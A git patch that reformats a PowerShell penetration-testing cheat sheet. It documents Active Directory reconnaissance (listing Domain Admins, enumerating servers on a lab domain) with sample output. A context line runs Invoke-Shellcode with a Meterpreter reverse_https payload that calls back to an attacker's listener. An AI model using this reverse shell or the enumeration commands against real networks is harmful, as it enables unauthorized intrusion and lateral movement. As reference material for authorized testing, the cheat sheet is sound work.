From c0549ecd54192455c80d582a358c040c9ae2d407 Mon Sep 17 00:00:00 2001 From: jakxx Date: Fri, 24 Jan 2014 11:57:08 -0500 Subject: [PATCH] minor edits --- scripting/powershell.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/scripting/powershell.md b/scripting/powershell.md index 9fb2720..a8248bc 100644 --- a/scripting/powershell.md +++ b/scripting/powershell.md @@ -65,22 +65,21 @@ Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 * **Output**: *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
- ## Using the PowerShell Active Directory Modules via (https://www.trustedsec.com/uncategorized/powershell-reconnaissance/) + ## Using the PowerShell Active Directory Modules + ### Via https://www.trustedsec.com/uncategorized/powershell-reconnaissance/ ### Setting Credentials * **Command with arguments**: `$cred = Get-Credential` - * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. These can be downloaded for Win7 [here] (http://www.microsoft.com/en-us/download/details.aspx?id=7887) - * **Output**: - *
**Windows 7:** Show/Hide
PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoe
+ * **Notes**: These following commands require the Powershell Active Directory Modules to be installed. These can be downloaded for Win7 [here] (http://www.microsoft.com/en-us/download/details.aspx?id=7887) ### Query to List "Domain Admins" * **Command with arguments**: `Get-ADGroupMember -Credential $cred -server pwnt.com "Domain Admins"` * **Output**: - *
**Windows 7:** Show/Hide

distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
+ *
**Windows 7:** Show/Hide
distinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500
### Enumerate All Servers on Domain" * **Command with arguments**: `Get-ADComputer -Credential $cred -server pwnt.com -LDAPFilter "(&(objectCategory=computer)(opera tingSystem=*Server*))" |select name` * **Output**: - *
**Windows 7:** Show/Hide

name
----
PWNT-DC
+ *
**Windows 7:** Show/Hide
name
----
PWNT-DC
Exchange1
SharePoint1
\ No newline at end of file